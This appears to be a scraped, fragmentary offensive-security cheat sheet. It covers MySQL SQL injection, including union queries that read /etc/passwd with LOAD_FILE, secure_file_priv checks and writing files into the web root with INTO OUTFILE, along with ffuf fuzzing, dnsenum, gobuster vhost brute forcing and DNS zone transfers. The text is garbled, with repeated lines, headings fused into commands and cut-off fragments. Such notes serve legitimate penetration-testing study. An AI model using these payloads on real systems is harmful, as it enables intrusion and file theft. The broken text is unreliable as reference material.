After enumerating user privileges 🌿
if you find one which has FILE you can use that to read files from the target.
UNION SELECT LOAD_FILE('/etc/passwd')
After enumerating user privileges 🌿
if you find one which has FILE you can use that to read files from the target.
UNION SELECT LOAD_FILE('/etc/passwd')
--proxy flagPro tip: remember to use proxychains 🌿 to proxy to burp for tools without proxy flags!
This should not be enabled on any modern secure systems, but if it is, you can use it to create a remote shell.
secure_file_priv ↗️
can have the following values:
null: cannot write anywhere on system"" (empty string): can write anywhere"/path/to/dir": can write only to specified pathSHOW VARIABLES LIKE 'secure_file_priv';
You can get this by querying the information_schema using a union injection
UNION SELECT VARIABLE_NAME,VARIABLE_VALUE FROM INFORMATION_SCHEMA.GLOBAL_VARIABLES
SELECT "OOPS!" INTO OUTFILE "/var/www/html/poc.txt"
A union injection causes additional rows to be added to the result set by using the UNION clause. To do this, we need to know the number of columns in the target result set.
There are two easy strategies for this. Using order by or union. Assume that the following is vulnerable:
SELECT * from users where username='$oops'
order byIn MySQL you can use numeric arguments for order by which you can use to infer the number of columns. Let $oops = "test' order by 1 -- then the query becomes:
Here are some resources containing XSS payloads:
echo 'test' | base64
echo 'dGVzdAo=' | base64 -d
echo 'test' | xxd -p
echo '746573740a' | xxd -p -r
echo 'test' | tr 'A-Za-z' 'N-ZA-Mn-za-m'
echo 'grfg' | tr 'A-Za-z' 'N-ZA-Mn-za-m'
eval(function(p,a,c,k,e,r)ffuf commandsIn each case, FUZZ is the placeholder for word replacement.**
ffuf \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://example.com/target_dir/FUZZ
-e .txt,.html,.bak # etc
ffuf \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-u http://example.com/target_dir/FUZZ \
-recursion
POST parameterffuf \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://example.com/example.php \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "y=FUZZ"
-ic
GET parameterffuf \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://example.com/example.php?x=FUZZ \
-ic
dnsenumPerforms various dns-level and osint searches to find sub domains.
dnsenum \
--enum target.tld \
-f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
gobusterYou can do virtual host subdomain brute forcing with gobuster. You can specify the target as a hostname or ip.
gobuster vhost \
-u http[s]://targetip[:port] \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
--append-domain
You can do a DNS zone transfer using dig by using axfr
dig axfr @dns-server.com target.tld
This will return all dns records for target.tld. It’s intended to copy all records from a primary to secondary server and should only happen if trusted, but misconfigured servers may allow unauthorised transfers allowing for enumeration without brute forcing 🌿
.